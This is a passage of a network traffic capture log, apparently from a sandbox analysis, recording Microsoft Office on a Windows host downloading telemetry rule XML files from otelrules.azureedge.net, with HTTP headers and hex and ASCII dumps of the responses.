2024-10-26 11:45:33 UTC	564	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:33 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9b485842-301e-0096-2f9c-27e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114533Z-15b8d89586fnsf5zd126eyaetw00000003500000000047d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-26 11:45:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49867	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:33 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:33 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:33 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 05f3f012-b01e-0070-4973-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114533Z-17c5cb586f6mhqqb91r8trf2c800000002ug000000004rb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:33 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49868	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:33 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:33 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:33 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 8c1a2bd7-001e-008d-4028-26d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114533Z-r197bdfb6b48pcqqxhenwd2uz800000002n0000000008sq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:33 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49869	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:33 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:33 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:33 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 36aee691-501e-0047-745d-26ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114533Z-16849878b78p8hrf1se7fucxk800000002tg00000000cp0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:33 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49871	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:34 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 2ea78088-901e-0083-5428-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114534Z-15b8d89586flspj6y6m5fk442w00000007s0000000005ecm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49870	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:34 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114534Z-16849878b78fkwcjkpn19c5dsn0000000120000000002wur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49872	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:34 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114534Z-16849878b78xblwksrnkakc08w0000000180000000005hfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49873	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:34 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114534Z-16849878b78qg9mlz11wgn0wcc00000001n0000000003ec6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49874	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:34 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114534Z-16849878b78fkwcjkpn19c5dsn00000000wg00000000e2bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49875	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 53cea195-601e-0084-75f3-246b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-r197bdfb6b42rt68rzg9338g1g0000000330000000005vfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:35 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49876	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: f2380685-a01e-0002-0958-265074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-17c5cb586f6hn8cl90dxzu28kw00000001yg00000000008g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:35 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49878	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-17c5cb586f6f8m6jnehy0z65x4000000019g0000000025mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
